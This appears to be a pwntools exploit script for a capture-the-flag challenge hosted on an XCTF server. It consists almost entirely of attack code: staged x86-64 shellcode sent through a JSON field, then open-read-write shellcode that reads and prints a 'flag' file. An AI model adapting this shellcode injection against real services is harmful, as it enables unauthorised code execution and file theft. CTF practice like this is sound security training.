1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
|
from pwn import* from ctypes import * from LibcSearcher import * from pwncli import IO_FILE_plus_struct
io_ch=1 de_bug=1 url='127.0.0.1' port=9999 arch='amd64' filename='./pwn' context(log_level = 'debug',os='linux',arch=arch) context.terminal = ['tmux','splitw','-h'] if io_ch==1: remote("pwn-04c8177097.challenge.xctf.org.cn", 9999, ssl=True) else: io=process(filename) if de_bug==1: gdb.attach(io) if filename!='': elf=ELF(filename) libc=ELF('./libc.so.6')
s = lambda content : io.send(content) sl = lambda content : io.sendline(content) sa = lambda content,send : io.sendafter(content, send) sla = lambda content,send : io.sendlineafter(content, send) rc = lambda number : io.recv(number) ru = lambda content : io.recvuntil(content) rcg = lambda : u64(rc(6).ljust(8, b'\x00')) r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') r_l.srand(0)
shellcode = ''' mov dx,7 mov ax,10 mov rdi,r15 syscall mov esi,ecx xor eax,eax xor edi,edi jmp $-8 ''' s1 = ''' mov edx,ebx xor eax,eax syscall '''
orw = ''' mov rdi,rsi xor rsi,rsi xor rdx,rdx mov rax,2 syscall mov rdi,3 mov rsi,r15 add rsi,0x500 mov rdx,0x100 mov rax,0 syscall mov rdi,1 mov rax,1 syscall '''
def pwn_exp(): print('PWN') shell_code = asm(shellcode).ljust(0x16,b'\x90') payload = b'{"shellcode":"'+(shell_code.hex()).encode()+b'"}' sl(payload) ru("loaded!") p = asm(s1) sl(p) pause() orw_ = b'flag\x00'+asm(orw) sl(orw_)
if __name__=="__main__":
pwn_exp() io.interactive()
|